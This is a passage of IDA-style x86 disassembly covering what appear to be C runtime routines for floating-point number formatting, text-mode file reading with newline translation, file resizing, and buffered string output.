loc_44E7CD cmp al, 47h jnz loc_44EA34 loc_44E7CD: ; CODE XREF: sub_44E791+32j mov ax, [ebp+arg_10] cmp ax, 0FFFCh jl loc_44EA34 movsx eax, ax mov edx, [ebp+arg_0] cmp eax, [edx+2Ch] jge loc_44EA34 loc_44E7EA: ; CODE XREF: sub_44E791+2Aj ; sub_44E791+2Ej add [ebp+arg_10], 1 mov al, [ebp+arg_4] cmp al, 67h jz short loc_44E7FA cmp al, 47h jnz short loc_44E835 loc_44E7FA: ; CODE XREF: sub_44E791+63j mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jnz short loc_44E818 movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_44E818 mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_44E818: ; CODE XREF: sub_44E791+72j ; sub_44E791+7Bj mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_10] sub edx, ecx mov [eax+2Ch], edx test edx, edx jge short loc_44E835 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_44E835: ; CODE XREF: sub_44E791+67j ; sub_44E791+98j cmp [ebp+arg_10], 0 jg loc_44E901 mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44E867 test word ptr [eax+38h], 8 jz short loc_44E87F loc_44E867: ; CODE XREF: sub_44E791+CCj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44E87F: ; CODE XREF: sub_44E791+D4j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] neg edx cmp [eax+2Ch], edx jge short loc_44E899 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] neg eax mov [ebp+arg_10], ax loc_44E899: ; CODE XREF: sub_44E791+FAj mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] neg eax mov [edx+20h], eax mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+2Ch] add edx, ecx mov [eax+2Ch], edx mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_44E8CA mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44E8CA: ; CODE XREF: sub_44E791+12Dj movsx eax, [ebp+arg_C] mov edx, [ebp+arg_0] mov [edx+24h], eax push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+28h], edx jmp loc_44EC26 ; --------------------------------------------------------------------------- loc_44E901: ; CODE XREF: sub_44E791+A9j mov ax, [ebp+arg_10] cmp [ebp+arg_C], ax jge short loc_44E97B movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] movsx ecx, [ebp+arg_C] sub eax, ecx mov [edx+20h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44E958 test word ptr [eax+38h], 8 jz short loc_44E96D loc_44E958: ; CODE XREF: sub_44E791+1BDj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl mov eax, [ebp+arg_0] inc dword ptr [eax+24h] loc_44E96D: ; CODE XREF: sub_44E791+1C5j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] mov [eax+28h], edx jmp loc_44EC26 ; --------------------------------------------------------------------------- loc_44E97B: ; CODE XREF: sub_44E791+178j movsx eax, [ebp+arg_10] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov ax, [ebp+arg_10] sub [ebp+arg_C], ax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44E9C0 test word ptr [eax+38h], 8 jz short loc_44E9D8 loc_44E9C0: ; CODE XREF: sub_44E791+225j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44E9D8: ; CODE XREF: sub_44E791+22Dj mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_44E9EE mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44E9EE: ; CODE XREF: sub_44E791+251j movsx eax, [ebp+arg_C] push eax movsx eax, [ebp+arg_10] mov edx, [ebp+arg_8] add eax, edx push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx jmp loc_44EC26 ; --------------------------------------------------------------------------- loc_44EA34: ; CODE XREF: sub_44E791+36j ; sub_44E791+44j ... mov al, [ebp+arg_4] cmp al, 67h jz short loc_44EA3F cmp al, 47h jnz short loc_44EA8A loc_44EA3F: ; CODE XREF: sub_44E791+2A8j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_44EA5D test word ptr [eax+38h], 8 jnz short loc_44EA5D mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_44EA5D: ; CODE XREF: sub_44E791+2B8j ; sub_44E791+2C0j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] dec edx mov [eax+2Ch], edx test edx, edx jge short loc_44EA75 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_44EA75: ; CODE XREF: sub_44E791+2D8j xor eax, eax cmp [ebp+arg_4], 67h setnz al dec eax and eax, 20h add eax, 45h mov [ebp+arg_4], al jmp short loc_44EAA0 ; --------------------------------------------------------------------------- loc_44EA8A: ; CODE XREF: sub_44E791+2ACj cmp [ebp+arg_4], 61h jnz short loc_44EA96 mov [ebp+arg_4], 70h jmp short loc_44EAA0 ; --------------------------------------------------------------------------- loc_44EA96: ; CODE XREF: sub_44E791+2FDj cmp [ebp+arg_4], 41h jnz short loc_44EAA0 mov [ebp+arg_4], 50h loc_44EAA0: ; CODE XREF: sub_44E791+2F7j ; sub_44E791+303j ... mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_8] lea ecx, [eax+1] mov [ebp+arg_8], ecx mov ecx, [ebp+arg_0] mov ecx, [ecx+10h] mov al, [eax] mov [ecx+edx], al mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44EAD1 test word ptr [eax+38h], 8 jz short loc_44EAE9 loc_44EAD1: ; CODE XREF: sub_44E791+336j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44EAE9: ; CODE XREF: sub_44E791+33Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jle short loc_44EB4C mov ax, [ebp+arg_C] dec ax mov [ebp+arg_C], ax mov edx, [ebp+arg_0] movsx eax, ax cmp [edx+2Ch], eax jge short loc_44EB11 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44EB11: ; CODE XREF: sub_44E791+374j movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx loc_44EB4C: ; CODE XREF: sub_44E791+35Fj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx mov [ebp+arg_8], eax lea edx, [eax+1] mov [ebp+arg_8], edx mov dl, [ebp+arg_4] mov [eax], dl cmp [ebp+arg_10], 0 jl short loc_44EB7A mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Bh jmp short loc_44EB8A ; --------------------------------------------------------------------------- loc_44EB7A: ; CODE XREF: sub_44E791+3D9j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Dh neg [ebp+arg_10] loc_44EB8A: ; CODE XREF: sub_44E791+3E7j mov [ebp+var_8], 0 jmp short loc_44EBBC ; --------------------------------------------------------------------------- loc_44EB93: ; CODE XREF: sub_44E791+430j push 0Ah movsx eax, [ebp+arg_10] push eax call sub_44F591 add esp, 8 mov [ebp+var_1C], eax mov [ebp+var_18], edx mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov [ebp+eax+var_12], dl mov eax, [ebp+var_1C] mov [ebp+arg_10], ax inc [ebp+var_8] loc_44EBBC: ; CODE XREF: sub_44E791+400j cmp [ebp+arg_10], 0 jg short loc_44EB93 cmp [ebp+var_8], 2 jge short loc_44EBE0 mov al, [ebp+arg_4] cmp al, 65h jz short loc_44EBD4 cmp al, 45h jnz short loc_44EBE0 loc_44EBD4: ; CODE XREF: sub_44E791+43Dj mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h loc_44EBE0: ; CODE XREF: sub_44E791+436j ; sub_44E791+441j cmp [ebp+var_8], 0 jnz short loc_44EC0D mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h jmp short loc_44EC0D ; --------------------------------------------------------------------------- loc_44EBF4: ; CODE XREF: sub_44E791+480j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov edx, [ebp+var_8] dec edx mov [ebp+var_8], edx mov dl, [ebp+edx+var_12] add dl, 30h mov [eax], dl loc_44EC0D: ; CODE XREF: sub_44E791+453j ; sub_44E791+461j cmp [ebp+var_8], 0 jg short loc_44EBF4 mov eax, [ebp+arg_0] mov edx, [ebp+arg_8] mov ecx, [eax+1Ch] mov ebx, [eax+10h] add ecx, ebx sub edx, ecx mov [eax+24h], edx loc_44EC26: ; CODE XREF: sub_44E791+16Bj ; sub_44E791+1E5j ... mov eax, [ebp+arg_0] movzx eax, word ptr [eax+38h] and eax, 14h cmp eax, 10h jnz short loc_44EC69 mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [eax+1Ch] add edx, ecx mov ecx, [eax+20h] add edx, ecx mov ecx, [eax+24h] add edx, ecx mov eax, [eax+28h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+34h] cmp [ebp+var_8], eax jge short loc_44EC69 mov eax, [ebp+arg_0] mov edx, [eax+34h] sub edx, [ebp+var_8] mov [eax+18h], edx loc_44EC69: ; CODE XREF: sub_44E791+4A2j ; sub_44E791+4CAj pop ebx mov esp, ebp pop ebp retn sub_44E791 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44EC71 proc near ; CODE XREF: sub_44DCC1+348p ; DMN1:0044EFECp var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi mov eax, [ebp+arg_4] mov [ebp+var_C], eax cmp [ebp+arg_8], 0 jz short loc_44ECA6 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 2 jz short loc_44ECAD loc_44ECA6: ; CODE XREF: sub_44EC71+18j xor eax, eax jmp loc_44EF96 ; --------------------------------------------------------------------------- loc_44ECAD: ; CODE XREF: sub_44EC71+33j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 48h jz short loc_44ED0F cmp byte ptr [eax+5], 0Ah jz short loc_44ED0F mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov edx, ebx and edx, 1Fh imul edx, 24h mov ecx, ebx sar ecx, 5 mov ecx, dword_413988[ecx*4] mov dl, [ecx+edx+5] mov [eax], dl inc edi dec [ebp+arg_8] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+5], 0Ah loc_44ED0F: ; CODE XREF: sub_44EC71+56j ; sub_44EC71+5Cj push 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+var_C] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 test eax, eax jnz short loc_44ED7F call dword_411CE8 mov [ebp+var_10], eax cmp eax, 5 jnz short loc_44ED60 call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_44EF96 ; --------------------------------------------------------------------------- loc_44ED60: ; CODE XREF: sub_44EC71+DAj cmp [ebp+var_10], 6Dh jnz short loc_44ED6D xor eax, eax jmp loc_44EF96 ; --------------------------------------------------------------------------- loc_44ED6D: ; CODE XREF: sub_44EC71+F3j mov eax, [ebp+var_10] push eax call sub_44A621 pop ecx or eax, 0FFFFFFFFh jmp loc_44EF96 ; --------------------------------------------------------------------------- loc_44ED7F: ; CODE XREF: sub_44EC71+CCj mov eax, [ebp+var_4] add edi, eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 80h jz loc_44EF94 cmp [ebp+var_4], 0 jz short loc_44EDCE mov eax, [ebp+arg_4] cmp byte ptr [eax], 0Ah jnz short loc_44EDCE mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 4 jmp short loc_44EDE9 ; --------------------------------------------------------------------------- loc_44EDCE: ; CODE XREF: sub_44EC71+136j ; sub_44EC71+13Ej mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FBh loc_44EDE9: ; CODE XREF: sub_44EC71+15Bj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov esi, eax jmp loc_44EF7D ; --------------------------------------------------------------------------- loc_44EDF6: ; CODE XREF: sub_44EC71+313j cmp byte ptr [esi], 1Ah jnz short loc_44EE3A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 40h jnz loc_44EF8A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 2 jmp loc_44EF8A ; --------------------------------------------------------------------------- loc_44EE3A: ; CODE XREF: sub_44EC71+188j cmp byte ptr [esi], 0Dh jz short loc_44EE54 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_44EF7D ; --------------------------------------------------------------------------- loc_44EE54: ; CODE XREF: sub_44EC71+1CCj mov eax, [ebp+arg_4] lea eax, [eax+edi-1] cmp esi, eax jnb short loc_44EE8E cmp byte ptr [esi+1], 0Ah jnz short loc_44EE79 add esi, 2 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp loc_44EF7D ; --------------------------------------------------------------------------- loc_44EE79: ; CODE XREF: sub_44EC71+1F2j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_44EF7D ; --------------------------------------------------------------------------- loc_44EE8E: ; CODE XREF: sub_44EC71+1ECj inc esi mov [ebp+var_10], 0 push 0 lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+var_11] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 test eax, eax jnz short loc_44EECD call dword_411CE8 mov [ebp+var_10], eax loc_44EECD: ; CODE XREF: sub_44EC71+251j cmp [ebp+var_10], 0 jnz short loc_44EED9 cmp [ebp+var_4], 0 jnz short loc_44EEEA loc_44EED9: ; CODE XREF: sub_44EC71+260j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh jmp loc_44EF7D ; --------------------------------------------------------------------------- loc_44EEEA: ; CODE XREF: sub_44EC71+266j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 48h jz short loc_44EF42 cmp [ebp+var_11], 0Ah jnz short loc_44EF19 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_44EF7D ; --------------------------------------------------------------------------- loc_44EF19: ; CODE XREF: sub_44EC71+298j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_11] mov [edx+eax+5], cl jmp short loc_44EF7D ; --------------------------------------------------------------------------- loc_44EF42: ; CODE XREF: sub_44EC71+292j mov eax, [ebp+arg_4] cmp eax, [ebp+var_8] jnz short loc_44EF5E cmp [ebp+var_11], 0Ah jnz short loc_44EF5E mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_44EF7D ; --------------------------------------------------------------------------- loc_44EF5E: ; CODE XREF: sub_44EC71+2D7j ; sub_44EC71+2DDj push 1 push 0FFFFFFFFh push ebx call sub_44E1D1 add esp, 0Ch cmp [ebp+var_11], 0Ah jz short loc_44EF7D mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh loc_44EF7D: ; CODE XREF: sub_44EC71+180j ; sub_44EC71+1DEj ... mov eax, [ebp+arg_4] add eax, edi cmp esi, eax jb loc_44EDF6 loc_44EF8A: ; CODE XREF: sub_44EC71+1A3j ; sub_44EC71+1C4j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov edi, eax loc_44EF94: ; CODE XREF: sub_44EC71+12Cj mov eax, edi loc_44EF96: ; CODE XREF: sub_44EC71+37j ; sub_44EC71+EAj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44EC71 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_44EFCC mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44EFDC loc_44EFCC: ; CODE XREF: DMN1:0044EFAFj call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44EFFF ; --------------------------------------------------------------------------- loc_44EFDC: ; CODE XREF: DMN1:0044EFCAj push ebx call sub_44D061 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_44EC71 add esp, 0Ch mov esi, eax push ebx call sub_44D0C1 pop ecx mov eax, esi loc_44EFFF: ; CODE XREF: DMN1:0044EFDAj pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_44F181 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44F031 proc near ; CODE XREF: sub_44DCC1+35Fp ; sub_44F181+46p var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1014h call sub_449B11 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_4], 0 push 1 push 0 push ebx call sub_44E1D1 add esp, 0Ch mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_44F075 push 2 push 0 push ebx call sub_44E1D1 add esp, 0Ch mov [ebp+var_8], eax cmp eax, 0FFFFFFFFh jnz short loc_44F07D loc_44F075: ; CODE XREF: sub_44F031+2Dj or eax, 0FFFFFFFFh jmp loc_44F171 ; --------------------------------------------------------------------------- loc_44F07D: ; CODE XREF: sub_44F031+42j mov eax, [ebp+arg_4] mov esi, eax sub esi, [ebp+var_8] test esi, esi jle loc_44F122 lea edx, [ebp+var_1010] mov ecx, 1000h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx push 8000h push ebx call sub_44F5C1 add esp, 8 mov [ebp+var_10], eax loc_44F0B3: ; CODE XREF: sub_44F031+E0j cmp esi, 1000h jb short loc_44F0C7 mov [ebp+var_1014], 1000h jmp short loc_44F0CF ; --------------------------------------------------------------------------- loc_44F0C7: ; CODE XREF: sub_44F031+88j mov eax, esi mov [ebp+var_1014], eax loc_44F0CF: ; CODE XREF: sub_44F031+94j mov eax, [ebp+var_1014] push eax lea eax, [ebp+var_1010] push eax push ebx call sub_44CA51 add esp, 0Ch mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_44F109 call dword_411CE8 cmp eax, 5 jnz short loc_44F103 call sub_44A781 mov dword ptr [eax], 0Dh loc_44F103: ; CODE XREF: sub_44F031+C5j or [ebp+var_4], 0FFFFFFFFh jmp short loc_44F113 ; --------------------------------------------------------------------------- loc_44F109: ; CODE XREF: sub_44F031+BAj mov eax, esi sub eax, edi mov esi, eax test eax, eax jg short loc_44F0B3 loc_44F113: ; CODE XREF: sub_44F031+D6j mov eax, [ebp+var_10] push eax push ebx call sub_44F5C1 add esp, 8 jmp short loc_44F15F ; --------------------------------------------------------------------------- loc_44F122: ; CODE XREF: sub_44F031+56j test esi, esi jge short loc_44F15F push 0 mov eax, [ebp+arg_4] push eax push ebx call sub_44E1D1 add esp, 0Ch push ebx call sub_44CF41 pop ecx push eax call dword_411E1C test eax, eax setnz al and eax, 1 dec eax mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh jnz short loc_44F15F call sub_44A781 mov dword ptr [eax], 0Dh loc_44F15F: ; CODE XREF: sub_44F031+EFj ; sub_44F031+F3j ... push 0 mov eax, [ebp+var_C] push eax push ebx call sub_44E1D1 add esp, 0Ch mov eax, [ebp+var_4] loc_44F171: ; CODE XREF: sub_44F031+47j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44F031 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44F181 proc near ; CODE XREF: DMN1:0044F01Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_44F1AA mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44F1BA loc_44F1AA: ; CODE XREF: sub_44F181+Cj call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44F1DA ; --------------------------------------------------------------------------- loc_44F1BA: ; CODE XREF: sub_44F181+27j push ebx call sub_44D061 pop ecx mov eax, [esp+8+arg_4] push eax push ebx call sub_44F031 add esp, 8 mov esi, eax push ebx call sub_44D0C1 pop ecx mov eax, esi loc_44F1DA: ; CODE XREF: sub_44F181+37j pop esi pop ebx retn sub_44F181 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44F1E1 proc near ; CODE XREF: sub_44E0A1+EFp ; sub_44E0A1+100p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] jmp loc_44F29E ; --------------------------------------------------------------------------- loc_44F1F5: ; CODE XREF: sub_44F1E1+C0j mov eax, [esi+18h] cmp eax, [esi+10h] ja short loc_44F210 push esi call sub_44B281 pop ecx test eax, eax jge short loc_44F210 or eax, 0FFFFFFFFh jmp loc_44F2C0 ; --------------------------------------------------------------------------- loc_44F210: ; CODE XREF: sub_44F1E1+1Aj ; sub_44F1E1+25j test word ptr [esi], 400h jz short loc_44F227 push 0Ah push ebx call sub_44F6D1 add esp, 8 mov [ebp+var_C], eax jmp short loc_44F22E ; --------------------------------------------------------------------------- loc_44F227: ; CODE XREF: sub_44F1E1+34j mov [ebp+var_C], 0 loc_44F22E: ; CODE XREF: sub_44F1E1+44j mov eax, [ebp+var_C] mov [ebp+var_4], eax test eax, eax jz short loc_44F243 mov eax, [ebp+var_4] sub eax, ebx inc eax mov [ebp+var_10], eax jmp short loc_44F252 ; --------------------------------------------------------------------------- loc_44F243: ; CODE XREF: sub_44F1E1+55j mov edx, ebx or eax, 0FFFFFFFFh loc_44F248: ; CODE XREF: sub_44F1E1+6Cj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44F248 mov [ebp+var_10], eax loc_44F252: ; CODE XREF: sub_44F1E1+60j mov edi, [ebp+var_10] mov eax, [esi+18h] mov edx, [esi+10h] sub eax, edx mov [ebp+var_8], eax cmp [ebp+var_8], edi jnb short loc_44F26F mov [ebp+var_4], 0 mov edi, [ebp+var_8] loc_44F26F: ; CODE XREF: sub_44F1E1+82j push edi push ebx mov eax, [esi+10h] push eax call sub_449A11 add esp, 0Ch add ebx, edi lea eax, [esi+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_4], 0 jz short loc_44F29E push esi call sub_44B081 pop ecx test eax, eax jz short loc_44F29E or eax, 0FFFFFFFFh jmp short loc_44F2C0 ; --------------------------------------------------------------------------- loc_44F29E: ; CODE XREF: sub_44F1E1+Fj ; sub_44F1E1+ABj ... cmp byte ptr [ebx], 0 jnz loc_44F1F5 test word ptr [esi], 800h jz short loc_44F2BE push esi call sub_44B081 pop ecx test eax, eax jz short loc_44F2BE or eax, 0FFFFFFFFh jmp short loc_44F2C0 ; --------------------------------------------------------------------------- loc_44F2BE: ; CODE XREF: sub_44F1E1+CBj ; sub_44F1E1+D6j xor eax, eax loc_44F2C0: ; CODE XREF: sub_44F1E1+2Aj ; sub_44F1E1+BBj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44F1E1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44F2D1 proc near ; CODE XREF: sub_44E6F1+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_4] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_44F327 mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 test word ptr [ebx+6], 0Fh jnz short loc_44F313 cmp word ptr [ebx+4], 0 jnz short loc_44F313 cmp word ptr [ebx+2], 0 jnz short loc_44F313 cmp word ptr [ebx], 0 jz short loc_44F31A loc_44F313: ; CODE XREF: sub_44F2D1+2Cj ; sub_44F2D1+33j ... mov edi, 2 jmp short loc_44F31F ; --------------------------------------------------------------------------- loc_44F31A: ; CODE XREF: sub_44F2D1+40j mov edi, 1 loc_44F31F: ; CODE XREF: 